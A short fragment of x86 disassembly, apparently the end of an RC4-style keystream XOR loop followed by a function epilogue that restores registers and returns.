add al, byte [ecx + edi]
movzx eax, al
mov al, byte [eax + edi]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, dword [esp + 0x18]
jb 0x4186b8
pop esi
pop ebp
pop edi
pop ebx
ret 8